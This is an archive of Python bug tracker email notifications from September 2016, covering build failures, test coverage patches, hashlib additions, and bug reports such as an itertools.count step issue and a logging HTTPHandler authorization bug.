Tests result: SUCCESS

shannon-2:issue11551 senthil$ ./python.exe -m coverage report --show-missing
Name                   Stmts   Miss  Cover   Missing
----------------------------------------------------
Lib/_dummy_thread.py      64      0   100%


Since these are restricted to test improvements and have addressed the comments from previous reviews, I am going ahead with committing this patch. If there are any further comments, we can address them in subsequent commits.

----------
Added file: http://bugs.python.org/file44461/issue11551.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11551>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:31:34 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 09:31:34 +0000
Subject: [issue28017] bluetooth.h on big endian needs GNU C extensions
Message-ID: <1473327094.5.0.11690995505.issue28017@psf.upfronthosting.co.za>


New submission from Christian Heimes:

PPC Fedora build bot is not able to build the _ssl and _socket module. It looks like bluetooth.h is not compatible with std=c99. It uses some GNU C extensions like __extension__, __attribute__((packed)) and __typeof__. The C99 variant -std=gnu99 should do the trick.

http://buildbot.python.org/all/builders/PPC64%20Fedora%203.x/builds/1527/steps/test/logs/stdio

In file included from /usr/include/bluetooth/bluetooth.h:37:0,
                 from /home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64/build/Modules/socketmodule.h:58,
                 from /home/shager/cpython-buildarea/3.x.edelsohn-fedora-ppc64/build/Modules/socketmodule.c:321:
/usr/include/bluetooth/bluetooth.h: In function ?bt_get_le64?:
/usr/include/bluetooth/bluetooth.h:238:18: error: expected specifier-qualifier-list before ?typeof?
  return bswap_64(bt_get_unaligned((const uint64_t *) ptr));
                  ^
/usr/include/bluetooth/bluetooth.h:238:18: error: called object is not a function or function pointer
  return bswap_64(bt_get_unaligned((const uint64_t *) ptr));
                  ^
/usr/include/bluetooth/bluetooth.h:238:18: error: ?struct <anonymous>? has no member named ?__v?
  return bswap_64(bt_get_unaligned((const uint64_t *) ptr));

----------
components: Extension Modules
messages: 274990
nosy: benjamin.peterson, christian.heimes
priority: critical
severity: normal
stage: needs patch
status: open
title: bluetooth.h on big endian needs GNU C extensions
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28017>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:37:48 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 09:37:48 +0000
Subject: [issue28017] bluetooth.h on big endian needs GNU C extensions
In-Reply-To: <1473327094.5.0.11690995505.issue28017@psf.upfronthosting.co.za>
Message-ID: <1473327468.64.0.391896930955.issue28017@psf.upfronthosting.co.za>


Martin Panter added the comment:

I don?t have access to the buildbot. Are you sure it uses __typeof__? The error message says ?typeof? without the underscores. I suspect that it would work with the underscores.

----------
nosy: +martin.panter
superseder:  -> PPC64 Fedora socket and ssl compile failure

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28017>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:39:51 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 09:39:51 +0000
Subject: [issue28017] bluetooth.h on big endian needs GNU C extensions
In-Reply-To: <1473327094.5.0.11690995505.issue28017@psf.upfronthosting.co.za>
Message-ID: <20160908093948.1897.50494.2689998A@psf.io>


Roundup Robot added the comment:

New changeset b5b2bb56d303 by Christian Heimes in branch 'default':
Issue 28017: Use -std=gnu99 to get C99 with GNU extensions for bluetooth.h on big endian.
https://hg.python.org/cpython/rev/b5b2bb56d303

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28017>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:41:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 09:41:07 +0000
Subject: [issue28017] bluetooth.h on big endian needs GNU C extensions
In-Reply-To: <1473327094.5.0.11690995505.issue28017@psf.upfronthosting.co.za>
Message-ID: <1473327667.66.0.304856787183.issue28017@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Let's give it a try.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28017>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:45:13 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 09:45:13 +0000
Subject: [issue28013] PPC64 Fedora socket and ssl compile failure
In-Reply-To: <1473304536.57.0.349804951124.issue28013@psf.upfronthosting.co.za>
Message-ID: <1473327913.89.0.355308528621.issue28013@psf.upfronthosting.co.za>


Christian Heimes added the comment:

#28017 and -std=gnu99 fixes the problem. The header files needs GNU extensions on big endian machines.

----------
nosy: +christian.heimes
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28013>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:48:08 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 09:48:08 +0000
Subject: [issue11551] test_dummy_thread.py test coverage improvement
In-Reply-To: <1300167076.06.0.564640850905.issue11551@psf.upfronthosting.co.za>
Message-ID: <20160908094805.36352.89956.02F416F3@psf.io>


Roundup Robot added the comment:

New changeset 08f446bf45a7 by Senthil Kumaran in branch '3.5':
Issue11551 - Increase the test coverage of _dummy_thread module to 100%.
https://hg.python.org/cpython/rev/08f446bf45a7

New changeset d69e0df64b11 by Senthil Kumaran in branch 'default':
[merge from 3.5] Issue11551 - Increase the test coverage of _dummy_thread module to 100%.
https://hg.python.org/cpython/rev/d69e0df64b11

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11551>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:48:51 2016
From: report at bugs.python.org (Senthil Kumaran)
Date: Thu, 08 Sep 2016 09:48:51 +0000
Subject: [issue11551] test_dummy_thread.py test coverage improvement
In-Reply-To: <1300167076.06.0.564640850905.issue11551@psf.upfronthosting.co.za>
Message-ID: <1473328131.92.0.500662945781.issue11551@psf.upfronthosting.co.za>


Changes by Senthil Kumaran <senthil at uthcode.com>:


----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue11551>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:49:18 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 09:49:18 +0000
Subject: [issue28017] bluetooth.h on big endian needs GNU C extensions
In-Reply-To: <1473327094.5.0.11690995505.issue28017@psf.upfronthosting.co.za>
Message-ID: <1473328158.41.0.14176563434.issue28017@psf.upfronthosting.co.za>


Christian Heimes added the comment:

It compiles now. Sorry for the duplicate ticket.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28017>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:50:43 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 09:50:43 +0000
Subject: [issue26798] add BLAKE2 to hashlib
In-Reply-To: <1461004812.44.0.872226457841.issue26798@psf.upfronthosting.co.za>
Message-ID: <1473328243.11.0.693968735247.issue26798@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26798>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:51:00 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 09:51:00 +0000
Subject: [issue16113] Add SHA-3 and SHAKE (Keccak) support
In-Reply-To: <1349233804.79.0.00772371618682.issue16113@psf.upfronthosting.co.za>
Message-ID: <1473328260.92.0.479862639451.issue16113@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16113>
_______________________________________

From report at bugs.python.org  Thu Sep  8 05:51:24 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 09:51:24 +0000
Subject: [issue28016] test_fileio fails on AIX
In-Reply-To: <1473323328.73.0.215988699422.issue28016@psf.upfronthosting.co.za>
Message-ID: <1473328284.28.0.340404955514.issue28016@psf.upfronthosting.co.za>


Martin Panter added the comment:

You should be able to provide a tuple of prefixes (I can easily change to that change when I commit):

not sys.platform.startswith(('sunos', 'aix'))

However I noticed the AIX buildbots are all passing test_fileio. I wonder what the difference is? Maybe the buildbot process doesn?t have a /dev/tty and skips the test.

Would this also be needed on 2.7? The test seems to be called testAblesOnTTY() there.

----------
nosy: +martin.panter
stage:  -> patch review
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28016>
_______________________________________

From report at bugs.python.org  Thu Sep  8 07:26:22 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Thu, 08 Sep 2016 11:26:22 +0000
Subject: [issue28018] Cross compilation fails in regen
Message-ID: <1473333982.06.0.308212142461.issue28018@psf.upfronthosting.co.za>


New submission from Chi Hsuan Yen:

Since issue23968 landed (changeset 5c77488830bc), cross compilation fails. It's not regression of a single revision but is caused by a combination of multiple changes. Here are my steps:

1. git clone https://github.com/yan12125/python3-android
2. comment `patch -p1 < "${FILESDIR}/cross-compile.patch"` from mk/python/prepare.sh
3. `make`

This results in bash errors:

mkdir ../Lib/plat-aarch64-linux-android
if [ -n "aarch64-linux-android" ]; then \
  cp ../Lib/plat-linux/regen ../Lib/plat-aarch64-linux-android/regen; \
else \
  cp ../Lib/plat-generic/regen ../Lib/plat-aarch64-linux-android/regen; \
fi; \
export PATH; PATH="`pwd`:$PATH"; \
export PYTHONPATH; PYTHONPATH="`pwd`/Lib"; \
export DYLD_FRAMEWORK_PATH; DYLD_FRAMEWORK_PATH="`pwd`"; \
export EXE; EXE=""; \
export CC; CC="/home/yen/Projects/python3-android/clang-bin/cc"; \
if [ -n "aarch64-linux-android" ]; then export MULTIARCH; MULTIARCH=aarch64-linux-android; fi; \
export PYTHON_FOR_BUILD; \
if [ "x86_64-pc-linux-gnu" = "aarch64-unknown-linux-android" ]; then \
  PYTHON_FOR_BUILD="python"; \
else \
  PYTHON_FOR_BUILD="_PYTHON_PROJECT_BASE=/home/yen/Projects/python3-android/src/cpython/build-target _PYTHON_HOST_PLATFORM=linux-aarch64 PYTHONPATH=/home/yen/Projects/python3-android/src/cpython/build-target/build/lib.linux-aarch64-3.6:../Lib:../Lib/plat-aarch64-linux-android python3.6"; \
fi; \
export H2PY; H2PY="$PYTHON_FOR_BUILD /home/yen/Projects/python3-android/src/cpython/build-target/../Tools/scripts/h2py.py"; \
cd ../Lib/plat-aarch64-linux-android;  ./regen
+ _PYTHON_PROJECT_BASE=/home/yen/Projects/python3-android/src/cpython/build-target _PYTHON_HOST_PLATFORM=linux-aarch64 PYTHONPATH=/home/yen/Projects/python3-android/src/cpython/build-target/build/lib.linux-aarch64-3.6:../Lib:../Lib/plat-aarch64-linux-android python3.6 /home/yen/Projects/python3-android/src/cpython/build-target/../Tools/scripts/h2py.py -i '(u_long)' /opt/android-ndk/platforms/android-21/arch-arm64/usr/include/sys/types.h /opt/android-ndk/platforms/android-21/arch-arm64/usr/include/netinet/in.h /opt/android-ndk/platforms/android-21/arch-arm64/usr/include/dlfcn.h
./regen: line 33: _PYTHON_PROJECT_BASE=/home/yen/Projects/python3-android/src/cpython/build-target: No such file or directory
make[1]: *** [Makefile:1331: ../Lib/plat-aarch64-linux-android] Error 127
make[1]: Leaving directory '/home/yen/Projects/python3-android/src/cpython/build-target'
make: *** [Makefile:36: python] Error 2

bash (I'm using 4.3.046) does not parse environment variables in quotation marks. For example the following script fails:

FOO="BAR=1 ls"
$FOO

The attached patch makes regen work again. I see /usr/bin/env used everywhere in CPython, so I guess it's OK to use it in configure without loss of portability.

Also added some people from issue14330, where $PYTHON_FOR_BUILD appeared for the first time.

----------
components: Cross-Build
files: cross-compile.patch
keywords: patch
messages: 274998
nosy: Alex.Willmer, Chi Hsuan Yen, doko, eric.araujo, xdegaye
priority: normal
severity: normal
status: open
title: Cross compilation fails in regen
type: compile error
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44462/cross-compile.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28018>
_______________________________________

From report at bugs.python.org  Thu Sep  8 07:26:36 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Thu, 08 Sep 2016 11:26:36 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473333996.93.0.214719484982.issue27364@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

Thank you R. David for the review, here's a new patch with the one change.

----------
Added file: http://bugs.python.org/file44463/invalid_stdlib_escapes_4.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Thu Sep  8 07:35:17 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 11:35:17 +0000
Subject: [issue16113] Add SHA-3 and SHAKE (Keccak) support
In-Reply-To: <1349233804.79.0.00772371618682.issue16113@psf.upfronthosting.co.za>
Message-ID: <20160908113513.87341.99750.8F0D24DE@psf.io>


Roundup Robot added the comment:

New changeset e5871ffe9ac0 by Christian Heimes in branch 'default':
Issue #16113: SHA3: allocate extra memory for lane extraction and check return value of PyModule_Create()
https://hg.python.org/cpython/rev/e5871ffe9ac0

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16113>
_______________________________________

From report at bugs.python.org  Thu Sep  8 07:41:00 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 11:41:00 +0000
Subject: [issue26798] add BLAKE2 to hashlib
In-Reply-To: <1461004812.44.0.872226457841.issue26798@psf.upfronthosting.co.za>
Message-ID: <20160908114048.48681.47420.91CD8C46@psf.io>


Roundup Robot added the comment:

New changeset fa89fff0b52c by Christian Heimes in branch 'default':
Issue #26798: Coverity complains about potential memcpy() of overlapped regions. It doesn't hurt to use memmove() here. CID 1372514 / CID 1372515. Upstream https://github.com/BLAKE2/BLAKE2/issues/32
https://hg.python.org/cpython/rev/fa89fff0b52c

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26798>
_______________________________________

From report at bugs.python.org  Thu Sep  8 07:45:03 2016
From: report at bugs.python.org (Xavier de Gaye)
Date: Thu, 08 Sep 2016 11:45:03 +0000
Subject: [issue26971] python v3.5.1: sys.paths not respecting DESTDIRS and
 DESTSHARED
In-Reply-To: <1462628482.0.0.926875224828.issue26971@psf.upfronthosting.co.za>
Message-ID: <1473335103.01.0.336397673862.issue26971@psf.upfronthosting.co.za>


Xavier de Gaye added the comment:

> Sorry that I haven't answered for a long time. I would like to get an email notification but I don't know whether/how I can enable it.

You should get an email upon each message posted to this issue. The email is sent to the address you have registered with as "jojo".


So your config.log confirms that the configure script does use ${exec_prefix}/lib64.
Your system may be configured with a configure system-wide initialization file [1]. In that case, configure will print a line starting with:
    "loading site script ..."
and showing the path to the config.site file that is being loaded. As described at the end of [1], this is where libdir may be set to '${exec_prefix}/lib64'.

[1] https://www.gnu.org/software/autoconf/manual/autoconf-2.68/html_node/Site-Defaults.html

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26971>
_______________________________________

From report at bugs.python.org  Thu Sep  8 07:45:58 2016
From: report at bugs.python.org (Jeroen Demeyer)
Date: Thu, 08 Sep 2016 11:45:58 +0000
Subject: [issue5755] "-Wstrict-prototypes" is valid for Ada/C/ObjC but not for
 C++"
In-Reply-To: <1239729771.84.0.97828652099.issue5755@psf.upfronthosting.co.za>
Message-ID: <1473335158.82.0.340144346385.issue5755@psf.upfronthosting.co.za>


Changes by Jeroen Demeyer <jdemeyer at cage.ugent.be>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44464/no_strict_proto.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue5755>
_______________________________________

From report at bugs.python.org  Thu Sep  8 08:10:06 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 12:10:06 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1473336606.49.0.409277867741.issue1602@psf.upfronthosting.co.za>


Martin Panter added the comment:

+++ b/Lib/test/test_winconsoleio.py
+to real people with real keyborads.
Should be keyboards
There are still assert_() calls in this file (1602_6.patch). Did you miss them?

+++ b/Lib/io.py
+from _io import WindowsConsoleIO
+__all__.append('WindowsConsoleIO')
I think you should either document this class, or remove it from __all__ to clarify it is just an implementation detail.

+++ b/Modules/_io/winconsoleio.c
+_io_WindowsConsoleIO___init___impl
+    PyObject *decodedname = Py_None;
+    Py_INCREF(decodedname);
+    int d = PyUnicode_FSDecoder(nameobj, (void*)&decodedname);
Won?t this leak a reference to Py_None?
(Also, I think needless casting like in the last line can mask mistakes that the compiler would otherwise pick up. Imagine if you got the parameters around the wrong way.)

+read_console_w(HANDLE handle, DWORD maxlen, DWORD *readlen) {
+    /* If we didn't read a full buffer that time, don't try
+       again or we will block a second time. */
I?m not familiar with the Windows APIs involved, but this doesn?t seem robust. What if there were exactly one full buffer waiting, would the next call block without returning anything?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Thu Sep  8 08:15:14 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 12:15:14 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1473336914.17.0.754419779484.issue1602@psf.upfronthosting.co.za>


Martin Panter added the comment:

Ah sorry I see Berker?s assert_() comment was _after_ you posted 1602_6.patch, so ignore that bit :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Thu Sep  8 08:18:04 2016
From: report at bugs.python.org (Martin Panter)
Date: Thu, 08 Sep 2016 12:18:04 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1473337084.71.0.226509022148.issue1602@psf.upfronthosting.co.za>


Martin Panter added the comment:

Also as I understand it, the open() function can return this new class, so the documentation at <https://docs.python.org/3.6/library/functions.html#open> needs updating.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Thu Sep  8 08:47:50 2016
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 08 Sep 2016 12:47:50 +0000
Subject: [issue3672] Ill-formed surrogates not treated as errors during
 encoding/decoding
In-Reply-To: <1219615011.7.0.279537729369.issue3672@psf.upfronthosting.co.za>
Message-ID: <20160908124746.19592.25653.6A13641E@psf.io>


Roundup Robot added the comment:

New changeset 2150eadb54c7 by Serhiy Storchaka in branch 'default':
Remove old typo.
https://hg.python.org/cpython/rev/2150eadb54c7

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue3672>
_______________________________________

From report at bugs.python.org  Thu Sep  8 08:48:32 2016
From: report at bugs.python.org (Marcos Dione)
Date: Thu, 08 Sep 2016 12:48:32 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
Message-ID: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>


New submission from Marcos Dione:

If the `step` parameter for `itertools.count()` rounds to 1 (f.i., 1.1, 1.437643, 1.99999), then it fallsback to fast (integer) mode and increases the counter by 1. Here's an example:

Python 3.6.0a4+ (default:ddc95a9bc2e0+, Sep  8 2016, 14:46:19)
>>> import itertools
>>> for i in itertools.count(1, step=1.5):
...     print(i)
...     if i > 10:
...         break
1
2
3
4
5
6
7
8
9
10
11

----------
components: Library (Lib)
messages: 275007
nosy: StyXman
priority: normal
severity: normal
status: open
title: itertools.count() falls back to fast (integer) mode when step rounds to 1
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Thu Sep  8 08:49:24 2016
From: report at bugs.python.org (SenBin Yu)
Date: Thu, 08 Sep 2016 12:49:24 +0000
Subject: [issue28020] Python 3 logging HTTPHandler doesn't implement a
 standard http basic authorize
Message-ID: <1473338964.47.0.491087604929.issue28020@psf.upfronthosting.co.za>


New submission from SenBin Yu:

The standard http basic authorization is

basic-credentials = "Basic" SP basic-cookie

basic-cookie      = <base64 [5] encoding of userid-password,
                            except not limited to 76 char/line>

userid-password   = [ token ] ":" *TEXT

but the logging/handlers module do the fllowing:

s = ('u%s:%s' % self.credentials).encode('utf-8')

s = 'Basic ' + base64.b64encode(s).strip()

why there is a redundant chr 'u'?

----------
components: Library (Lib)
messages: 275008
nosy: SenBin Yu
priority: normal
severity: normal
status: open
title: Python 3 logging HTTPHandler doesn't implement a standard http basic authorize
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28020>
_______________________________________

From report at bugs.python.org  Thu Sep  8 08:50:10 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 08 Sep 2016 12:50:10 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473339010.08.0.916382047749.issue27364@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I suggest to not change fixcid.py. It is not correct and there is special issue for this (issue27952).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Thu Sep  8 08:51:07 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 08 Sep 2016 12:51:07 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
In-Reply-To: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>
Message-ID: <1473339067.46.0.206420067823.issue28019@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +rhettinger

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Thu Sep  8 08:56:03 2016
From: report at bugs.python.org (Facundo Batista)
Date: Thu, 08 Sep 2016 12:56:03 +0000
Subject: [issue28019] itertools.count() falls back to fast (integer) mode when
 step rounds to 1
In-Reply-To: <1473338912.37.0.468562809295.issue28019@psf.upfronthosting.co.za>
Message-ID: <1473339363.84.0.281371216764.issue28019@psf.upfronthosting.co.za>


Changes by Facundo Batista <facundo at taniquetil.com.ar>:


----------
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28019>
_______________________________________

From report at bugs.python.org  Thu Sep  8 09:00:52 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Thu, 08 Sep 2016 13:00:52 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <1473339652.35.0.469933597952.issue27364@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

All right, since you'll work on it I'm leaving it out. Removed it and test_bytes (which you already fixed, thanks!) from new patch.

----------
Added file: http://bugs.python.org/file44465/invalid_stdlib_escapes_5.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Thu Sep  8 09:13:59 2016
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 08 Sep 2016 13:13:59 +0000
Subject: [issue6766] Cannot modify dictionaries inside dictionaries using
 Managers from multiprocessing
In-Reply-To: <1251049590.58.0.809281249474.issue6766@psf.upfronthosting.co.za>
Message-ID: <1473340439.78.0.128803013391.issue6766@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue6766>
_______________________________________

From report at bugs.python.org  Thu Sep  8 09:15:05 2016
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 08 Sep 2016 13:15:05 +0000
Subject: [issue27877] Add recipe for "valueless" Enums to docs
In-Reply-To: <1472305329.28.0.714722611618.issue27877@psf.upfronthosting.co.za>
Message-ID: <1473340505.7.0.103379262091.issue27877@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27877>
_______________________________________

From report at bugs.python.org  Thu Sep  8 09:18:20 2016
From: report at bugs.python.org (Steve Dower)
Date: Thu, 08 Sep 2016 13:18:20 +0000
Subject: [issue28005] Broken encoding modules are silently skipped.
In-Reply-To: <1473272228.69.0.973027040329.issue28005@psf.upfronthosting.co.za>
Message-ID: <1473340700.8.0.405227208648.issue28005@psf.upfronthosting.co.za>


Steve Dower added the comment:

Is it deliberate that inner import errors should be treated as if the codec is missing? Another search function isn't going to help in that case unless it finds the same encoding in another place. I didn't see any evidence of that, and apparently neither did Eric (but I was bitten by a misspelt import within my new encodings/oem.py giving a confusing message).

I don't think any encoding modules in the stdlib should fail to import. This change ensures that we hear about it if they do fail.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28005>
_______________________________________

From report at bugs.python.org  Thu Sep  8 09:23:33 2016
From: report at bugs.python.org (Andrea De Pasquale)
Date: Thu, 08 Sep 2016 13:23:33 +0000
Subject: [issue27010] email library could "recover" from bad mime boundary
 like (some?) email clients do
In-Reply-To: <1463067718.45.0.558318505018.issue27010@psf.upfronthosting.co.za>
Message-ID: <1473341013.52.0.258335400188.issue27010@psf.upfronthosting.co.za>


Andrea De Pasquale added the comment:

Yes you are right, my patch produces an RFC2046-compliant output and also registers the "not-unique-boundary" defect.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27010>
_______________________________________

From report at bugs.python.org  Thu Sep  8 09:24:25 2016
From: report at bugs.python.org (Berker Peksag)
Date: Thu, 08 Sep 2016 13:24:25 +0000
Subject: [issue27881] Fix possible bugs when setting
 sqlite3.Connection.isolation_level
In-Reply-To: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za>
Message-ID: <1473341065.36.0.0644493510564.issue27881@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Closing this as 'fixed'. Any further improvement can be discussed in separate issues. Thanks!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27881>
_______________________________________

From report at bugs.python.org  Thu Sep  8 09:35:32 2016
From: report at bugs.python.org (Chi Hsuan Yen)
Date: Thu, 08 Sep 2016 13:35:32 +0000
Subject: [issue28020] Python 3 logging HTTPHandler doesn't implement a
 standard http basic authorize
In-Reply-To: <1473338964.47.0.491087604929.issue28020@psf.upfronthosting.co.za>
Message-ID: <1473341732.43.0.327488784947.issue28020@psf.upfronthosting.co.za>


Chi Hsuan Yen added the comment:

There's indeed a 'u' in 3.5.1: https://hg.python.org/cpython/file/v3.5.1/Lib/logging/handlers.py#l1157 and latter fixed in 3.5.2: https://hg.python.org/cpython/file/v3.5.2/Lib/logging/handlers.py#l1159. Please consider update.

----------
nosy: +Chi Hsuan Yen

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28020>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:04:48 2016
From: report at bugs.python.org (SilentGhost)
Date: Thu, 08 Sep 2016 14:04:48 +0000
Subject: [issue28020] Python 3 logging HTTPHandler doesn't implement a
 standard http basic authorize
In-Reply-To: <1473338964.47.0.491087604929.issue28020@psf.upfronthosting.co.za>
Message-ID: <1473343488.72.0.529995339965.issue28020@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
superseder:  -> TypeError in logging.HTTPHandler.emit; possible python 2 to 3 conversion issue

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28020>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:19:46 2016
From: report at bugs.python.org (Christian Heimes)
Date: Thu, 08 Sep 2016 14:19:46 +0000
Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0
In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za>
Message-ID: <1473344386.67.0.623571109374.issue26470@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26470>
_______________________________________

From report at bugs.python.org  Thu Sep  8 10:21:07 2016
From: report at bugs.python.org (Faisal Saleem)
Date: Thu, 08 Sep 2016 14:21:07 +0000
Subject: [issue28021] Calculating wrong modulus manually
Message-ID: <1473344467.84.0.165725302735.issue28021@psf.upfronthosting.co.za>


New submission from Faisal Saleem:

Hi,

when I calculate (11**19)%23 it gives me 15 but when I try to do the same operation manually it give a totally different result which is 1395.

>>> 11**19
61159090448414546291
>>> (11**19)%23
15
>>> a=11**19
>>> a
61159090448414546291
>>> b=23
>>> c=int(a/b)
